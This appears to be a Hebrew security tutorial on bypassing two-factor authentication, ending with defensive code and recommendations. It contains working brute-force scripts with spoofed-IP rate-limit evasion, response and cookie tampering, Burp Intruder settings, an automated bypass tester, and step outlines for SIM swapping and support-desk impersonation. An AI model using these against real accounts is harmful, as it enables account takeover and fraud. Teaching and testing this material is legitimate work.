לדלג לתוכן

הbypass אימות דו-שלבי - 2FA Bypass

מבוא

אימות דו-שלבי (Two-Factor Authentication) מוסיף שכבת אבטחה נוספת מעבר לסיסמה. למרות שזה משפר משמעותית את האבטחה, הטמעות לקויות מאפשרות לתוקפים לעקוף את ה-2FA. בשיעור זה נלמד את שיטות התקיפה המתקדמות נגד מנגנוני 2FA שונים.


סקירת מנגנוני 2FA

TOTP - סיסמה חד-פעמית מבוססת זמן

- Apps like Google Authenticator, Authy
- Based on a shared secret and the current time
- A 6-digit code that changes every 30 seconds
- A validity window of typically 30-90 seconds

SMS OTP

- Code sent via SMS message
- Less secure due to weaknesses in the cellular network
- Exposed to SIM swapping and SS7 attacks

אימות באמצעות דואר אלקטרוני

- Code or link sent to email
- Relatively low security level
- Depends on the security of the email account

התראות Push

- Approval by tapping in the app (Duo, Microsoft Authenticator)
- Exposed to MFA fatigue / push bombing

מפתחות חומרה - Hardware Tokens

- Uses FIDO2/WebAuthn (YubiKey, Titan)
- Most secure - resistant to phishing
- Very hard to attack remotely

תקיפה 1: מניפולציית תגובה - Response Manipulation

הרקע

שרתים מסוימים בודקים את קוד ה-2FA ומחזירים תגובה שמציינת אם הוא נכון. אם האפליקציה מסתמכת על בדיקת התגובה בצד הלקוח, ניתן לשנות אותה.

תרחיש

# Send an incorrect 2FA code
POST /verify-2fa HTTP/1.1
Host: target.com
Content-Type: application/json

{"code": "000000"}

# Server response - failure
HTTP/1.1 200 OK
{"success": false, "message": "Invalid code"}

# Modify the response in Burp:
HTTP/1.1 200 OK
{"success": true, "message": "Valid code"}

הגדרת Burp לשינוי אוטומטי

1. Proxy -> Options -> Match and Replace
2. Add a rule:
   Type: Response body
   Match: "success": false
   Replace: "success": true

3. Another rule:
   Type: Response header
   Match: HTTP/1.1 403
   Replace: HTTP/1.1 200

וריאציות נוספות

# Change status code
HTTP/1.1 403 Forbidden  ->  HTTP/1.1 200 OK

# Change redirect
Location: /2fa-failed  ->  Location: /dashboard

# Change boolean value
{"verified": false}  ->  {"verified": true}
{"error": true}  ->  {"error": false}

# Change error code
{"errorCode": 401}  ->  {"errorCode": 0}

תקיפה 2: כוח גס עם bypass הגבלת קצב - Brute Force with Rate Limit Bypass

הרקע

קוד 2FA הוא בדרך כלל 4-6 ספרות, מה שנותן מרחב של 10,000 עד 1,000,000 אפשרויות. אם אין הגבלת קצב יעילה, ניתן לנסות את כולן.

הbypass הגבלת קצב באמצעות headers HTTP

# IP-based rate limiting - try changing the apparent IP address
POST /verify-2fa HTTP/1.1
Host: target.com
X-Forwarded-For: 1.2.3.4
X-Real-IP: 1.2.3.4
X-Originating-IP: 1.2.3.4
X-Client-IP: 1.2.3.4
CF-Connecting-IP: 1.2.3.4
True-Client-IP: 1.2.3.4
X-Forwarded-Host: target.com
X-Remote-IP: 1.2.3.4
X-Remote-Addr: 1.2.3.4

{"code": "123456"}

סקריפט Brute Force עם סיבוב IP

import requests
import random
import time

def brute_force_2fa(target_url, session_cookie, code_length=6):
    """Brute force a 2FA code with IP rotation"""

    max_code = 10 ** code_length

    session = requests.Session()
    session.cookies.set('session', session_cookie)

    for code in range(max_code):
        code_str = str(code).zfill(code_length)

        # Create a random IP to bypass the rate limit
        fake_ip = f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}"

        headers = {
            'X-Forwarded-For': fake_ip,
            'X-Real-IP': fake_ip,
            'Content-Type': 'application/json'
        }

        resp = session.post(
            target_url,
            json={"code": code_str},
            headers=headers,
            allow_redirects=False
        )

        # Check for success
        if resp.status_code == 302 and '/dashboard' in resp.headers.get('Location', ''):
            print(f"[+] Code found: {code_str}")
            return code_str

        if resp.status_code == 429:  # Too Many Requests
            print(f"[-] Blocked at {code_str}, waiting...")
            time.sleep(5)

        # Print progress
        if code % 1000 == 0:
            print(f"[*] Checked {code} codes...")

    print("[-] Could not find the code")
    return None

טכניקות נוספות לbypass Rate Limit

# Method 1: Change User-Agent
user_agents = [
    "Mozilla/5.0 (Windows NT 10.0)",
    "Mozilla/5.0 (Macintosh)",
    "Mozilla/5.0 (Linux)",
    # ...
]

# Method 2: Change the request format
# JSON vs URL-encoded vs XML
data_formats = [
    ('application/json', '{"code": "123456"}'),
    ('application/x-www-form-urlencoded', 'code=123456'),
    ('application/xml', '<code>123456</code>'),
]

# Method 3: Add spaces/characters to the code
# "123456" vs "123456 " vs " 123456" vs "123456\n"

תקיפה 3: כוח גס על קודי גיבוי - Backup Code Brute Forcing

הרקע

אפליקציות מנפיקות קודי גיבוי למקרה שאין גישה ל-2FA. קודים אלו לעיתים קצרים יותר או שאין עליהם הגבלת קצב.

תרחיש

# Normal request with a 2FA code
POST /verify-2fa HTTP/1.1
Content-Type: application/json

{"code": "123456", "type": "totp"}

# Request with a backup code - sometimes without rate limit
POST /verify-2fa HTTP/1.1
Content-Type: application/json

{"code": "abc123", "type": "backup"}

כוח גס על קודי גיבוי

import itertools
import string
import requests

def brute_force_backup_codes(target_url, session_cookie):
    """Brute force backup codes"""

    session = requests.Session()
    session.cookies.set('session', session_cookie)

    # Common backup codes: 8 digits
    for code in range(10**8):
        code_str = str(code).zfill(8)

        resp = session.post(target_url, json={
            "code": code_str,
            "type": "backup"
        })

        if "success" in resp.text or resp.status_code == 302:
            print(f"[+] Backup code: {code_str}")
            return code_str

    return None

תקיפה 4: הexploit חלון זמן TOTP - TOTP Time Window Exploitation

הרקע

קודי TOTP תקפים לחלון זמן מסוים (בדרך כלל 30 שניות). שרתים רבים מקבלים קודים מחלון הזמן הקודם והבא גם כן, מה שמרחיב את חלון התקיפה.

הexploit

import pyotp
import time

def analyze_totp_window(target_url, session_cookie):
    """Analyze the TOTP time window"""

    session = requests.Session()
    session.cookies.set('session', session_cookie)

    # Generate codes for different time windows
    # Assume we have the secret (e.g. from a QR code we photographed)
    totp = pyotp.TOTP("BASE32SECRET")

    current_time = int(time.time())

    # Check codes from different time windows
    for offset in range(-5, 6):  # 5 windows before and after
        test_time = current_time + (offset * 30)
        code = totp.at(test_time)

        resp = session.post(target_url, json={"code": code})

        status = "ACCEPTED" if resp.status_code == 200 else "REJECTED"
        print(f"  Window {offset:+d} ({test_time}): {code} -> {status}")

שימוש חוזר בקוד

# Test: can the same code be used twice?
# First submission
POST /verify-2fa HTTP/1.1
{"code": "123456"}
# Response: 200 OK

# Immediate second submission with the same code
POST /verify-2fa HTTP/1.1
{"code": "123456"}
# If 200 OK -> the code can be reused!

תקיפה 5: גישה ישירה לנקודות קצה - Direct Endpoint Access

הרקע

אפליקציות מסוימות בודקות 2FA רק בזרימת ההתחברות הרגילה, אך לא מגנות על נקודות קצה אחרות. ניתן לדלג על שלב ה-2FA על ידי ניווט ישיר.

תרחיש

# Normal flow:
# 1. POST /login -> 302 /2fa
# 2. POST /2fa -> 302 /dashboard

# Attack: skip step 2
# 1. POST /login -> 302 /2fa
# 2. Instead of going to /2fa, go directly to /dashboard
GET /dashboard HTTP/1.1
Cookie: session=VALID_SESSION_AFTER_PASSWORD

# If it works -> 2FA can be skipped!

בדיקה שיטתית

import requests

def test_2fa_bypass(target_base, session_cookie):
    """Test 2FA bypass via direct access"""

    session = requests.Session()
    session.cookies.set('session', session_cookie)

    # List of endpoints to test
    endpoints = [
        '/dashboard',
        '/profile',
        '/settings',
        '/api/user',
        '/api/admin',
        '/account',
        '/home',
        '/admin',
        '/api/v1/me',
        '/api/v2/user/profile',
    ]

    print("[*] Testing direct access to endpoints...")

    for endpoint in endpoints:
        resp = session.get(
            f"{target_base}{endpoint}",
            allow_redirects=False
        )

        if resp.status_code == 200:
            print(f"[+] Access granted to: {endpoint}")
        elif resp.status_code == 302:
            location = resp.headers.get('Location', '')
            if '2fa' not in location.lower() and 'login' not in location.lower():
                print(f"[+] Redirect not to 2FA: {endpoint} -> {location}")
        else:
            print(f"[-] Blocked: {endpoint} ({resp.status_code})")

שינוי זרימה

# Additional tests:

# Change the cookie after the password step
# Some apps mark in a cookie that 2FA is required
Cookie: session=abc123; 2fa_required=true
# Change to:
Cookie: session=abc123; 2fa_required=false

# Change the role in the cookie
Cookie: session=abc123; verified=0
# Change to:
Cookie: session=abc123; verified=1

# Test parameter tampering
POST /2fa-check HTTP/1.1
{"code": "000000", "skip": true}

תקיפה 6: קיבוע סשן לאחר 2FA - Session Fixation After 2FA

הרקע

אם השרת לא מחליף את ה-session ID לאחר אימות 2FA מוצלח, ניתן לבצע session fixation.

תרחיש

# Step 1: The attacker obtains a session ID
GET / HTTP/1.1
Host: target.com

HTTP/1.1 200 OK
Set-Cookie: session=KNOWN_SESSION_ID

# Step 2: The attacker injects the session ID into the victim
# (via XSS, subdomain cookie, etc.)

# Step 3: The victim logs in with the password and 2FA
# If the session ID doesn't change -> the attacker uses the same session

# Test:
# 1. Record the session ID before 2FA
# 2. Complete a successful 2FA
# 3. Check whether the session ID changed
# If it didn't change -> session fixation vulnerability

תקיפה 7: שימוש חוזר בקוד 2FA - Code Reuse

הרקע

קודים חד-פעמיים אמורים להיות תקפים לשימוש אחד בלבד. אם השרת לא מבטל אותם לאחר שימוש, ניתן להשתמש בהם שוב.

בדיקה

import requests

def test_code_reuse(target_url, session_cookie, valid_code):
    """Test reuse of a 2FA code"""

    session = requests.Session()
    session.cookies.set('session', session_cookie)

    # First use
    resp1 = session.post(target_url, json={"code": valid_code})
    print(f"[*] First use: {resp1.status_code}")

    # Log out
    session.get(f"{target_url.rsplit('/', 1)[0]}/logout")

    # Log in again
    session.post(f"{target_url.rsplit('/', 1)[0]}/login", json={
        "username": "victim",
        "password": "password"
    })

    # Second use with the same code
    resp2 = session.post(target_url, json={"code": valid_code})
    print(f"[*] Second use: {resp2.status_code}")

    if resp2.status_code == 200:
        print("[+] The code can be reused!")
    else:
        print("[-] The code was invalidated after use")

תקיפה 8: הנדסה חברתית על איפוס 2FA - Social Engineering

הרקע

רוב השירותים מציעים תהליך איפוס 2FA למשתמשים שאיבדו גישה. תהליך זה עצמו עלול להיות חולשה.

תרחישי תקיפה

1. Contact support with the victim's details
   - "I lost my phone and can't log in"
   - Support disables 2FA and allows login with password only

2. Weak security questions
   - The reset process requires an answer to a security question
   - Answers can be discovered via social networks

3. Reset via email
   - Sending a 2FA reset link to email
   - If there's access to email (via phishing) -> 2FA reset

תקיפה 9: החלפת SIM עבור 2FA מבוסס SMS - SIM Swapping

הרקע

ב-SIM swapping, התוקף משכנע את חברת הסלולר להעביר את מספר הטלפון של הקורבן ל-SIM חדש.

שלבי התקיפה

1. Gather personal information about the victim
   - Full name, address, ID number
   - Can be obtained from leaked data breaches

2. Contact the cellular carrier
   - Impersonate the victim
   - Request a SIM swap "because the phone was stolen"

3. Receive the victim's SMS
   - All SMS messages arrive at the new SIM
   - Including 2FA codes

4. Log in to the account
   - Use the password (known or reset)
   - Receive the 2FA code via the SIM

הגדרת Burp Intruder לכוח גס על 2FA

הגדרת התקיפה

1. Intercept the 2FA verification request and send to Intruder

2. Position settings:
   POST /verify-2fa HTTP/1.1
   Host: target.com
   Cookie: session=abc123

   {"code": "PAYLOAD_HERE"}

3. Payload settings:
   Payload type: Numbers
   From: 0
   To: 999999
   Step: 1
   Min integer digits: 6
   Max integer digits: 6

4. Resource Pool settings:
   Maximum concurrent requests: 20

5. Grep - Match settings:
   Add strings that indicate success:
   - "dashboard"
   - "success"
   - "welcome"

6. Grep - Extract settings:
   Extract the status code and the Location header

טיפים ל-Intruder

- If there's a rate limit: set a Throttle of 500ms between requests
- If there's IP blocking: use IP rotation (Burp Turbo Intruder)
- If the session expires: use Macros to renew the session
- Filter results by response length - a successful response usually differs in size

סקריפט אוטומטי לבדיקת bypass 2FA

#!/usr/bin/env python3
"""
Comprehensive script for testing 2FA bypass
"""

import requests
import json
import time
import random

class TwoFABypassTester:
    def __init__(self, base_url, username, password):
        self.base_url = base_url
        self.username = username
        self.password = password
        self.session = requests.Session()

    def login(self):
        """Log in with password only"""
        resp = self.session.post(f"{self.base_url}/login", json={
            "username": self.username,
            "password": self.password
        }, allow_redirects=False)
        return resp

    def test_direct_access(self):
        """Test direct access without 2FA"""
        print("[*] Testing direct access...")
        self.login()

        endpoints = ['/dashboard', '/profile', '/api/user', '/admin']
        for ep in endpoints:
            resp = self.session.get(
                f"{self.base_url}{ep}",
                allow_redirects=False
            )
            if resp.status_code == 200:
                print(f"  [+] Access to {ep} without 2FA!")

    def test_response_manipulation(self):
        """Test response manipulation"""
        print("[*] Testing response manipulation...")
        self.login()

        resp = self.session.post(
            f"{self.base_url}/verify-2fa",
            json={"code": "000000"}
        )

        print(f"  Response to wrong code: {resp.status_code}")
        print(f"  Body: {resp.text[:200]}")

        if '"success"' in resp.text or '"verified"' in resp.text:
            print("  [!] Response manipulation is possible")

    def test_code_reuse(self, valid_code):
        """Test code reuse"""
        print("[*] Testing code reuse...")
        self.login()

        # First use
        resp1 = self.session.post(
            f"{self.base_url}/verify-2fa",
            json={"code": valid_code}
        )

        # Log out and log back in
        self.session.get(f"{self.base_url}/logout")
        self.login()

        # Second use
        resp2 = self.session.post(
            f"{self.base_url}/verify-2fa",
            json={"code": valid_code}
        )

        if resp2.status_code == 200:
            print("  [+] The code can be reused!")

    def test_brute_force_feasibility(self):
        """Test brute-force feasibility"""
        print("[*] Testing rate limiting...")
        self.login()

        blocked = False
        for i in range(20):
            code = str(random.randint(0, 999999)).zfill(6)
            resp = self.session.post(
                f"{self.base_url}/verify-2fa",
                json={"code": code}
            )

            if resp.status_code == 429:
                print(f"  [-] Blocked after {i+1} attempts")
                blocked = True
                break

        if not blocked:
            print("  [+] No rate limiting - brute force is possible!")

    def run_all(self, valid_code=None):
        """Run all tests"""
        print(f"[*] Starting 2FA bypass test for {self.base_url}")
        print("=" * 60)

        self.test_direct_access()
        self.test_response_manipulation()
        self.test_brute_force_feasibility()

        if valid_code:
            self.test_code_reuse(valid_code)

        print("=" * 60)
        print("[*] Testing complete")

if __name__ == "__main__":
    tester = TwoFABypassTester(
        "https://target.com",
        "username",
        "password"
    )
    tester.run_all()

הגנות - Defenses

1. הגבלת קצב חזקה

from flask_limiter import Limiter

limiter = Limiter(app, key_func=get_remote_address)

@app.route('/verify-2fa', methods=['POST'])
@limiter.limit("5 per minute")  # Maximum 5 attempts per minute
def verify_2fa():
    code = request.json.get('code')
    if verify_totp(code):
        session.regenerate()  # Renew session
        return redirect('/dashboard')

    # Lock the account after 10 failed attempts
    increment_failed_attempts(current_user)
    if get_failed_attempts(current_user) >= 10:
        lock_account(current_user, duration=3600)
        return jsonify({"error": "Account locked"}), 423

    return jsonify({"error": "Invalid code"}), 401

2. ביטול קוד לאחר שימוש

used_codes = set()  # In production: Redis or DB

def verify_totp(user, code):
    code_key = f"{user.id}:{code}"

    if code_key in used_codes:
        return False  # Code already used

    if pyotp.TOTP(user.totp_secret).verify(code, valid_window=1):
        used_codes.add(code_key)
        return True

    return False

3. אימות 2FA ברמת השרת

def require_2fa(f):
    """Decorator that requires completed 2FA"""
    @wraps(f)
    def decorated(*args, **kwargs):
        if not session.get('2fa_verified'):
            return redirect('/2fa')
        return f(*args, **kwargs)
    return decorated

@app.route('/dashboard')
@require_2fa
def dashboard():
    return render_template('dashboard.html')

4. המלצות כלליות

- Prefer TOTP over SMS
- Require hardware keys (FIDO2) for sensitive accounts
- Enforce strong rate limiting on 2FA attempts
- Validate 2FA server-side only
- Renew the session after a successful 2FA
- Invalidate codes after a single use
- Lock the account after several failed attempts
- Limit the TOTP time window to a minimum
- Log failed 2FA attempts for monitoring purposes

סיכום

הbypass 2FA היא תחום רחב שמשלב טכניקות טכניות עם הנדסה חברתית. הנקודות המרכזיות:

  • מניפולציית תגובה היא הפשוטה ביותר ולעיתים עובדת
  • כוח גס עם bypass rate limit הוא יעיל נגד קודים קצרים
  • גישה ישירה לנקודות קצה עוקפת 2FA לחלוטין כשהבדיקה לקויה
  • שימוש חוזר בקודים ובדיקת חלון זמן הם בדיקות חובה
  • ההגנה הטובה ביותר משלבת rate limiting חזק, ביטול קודים, ואימות בצד השרת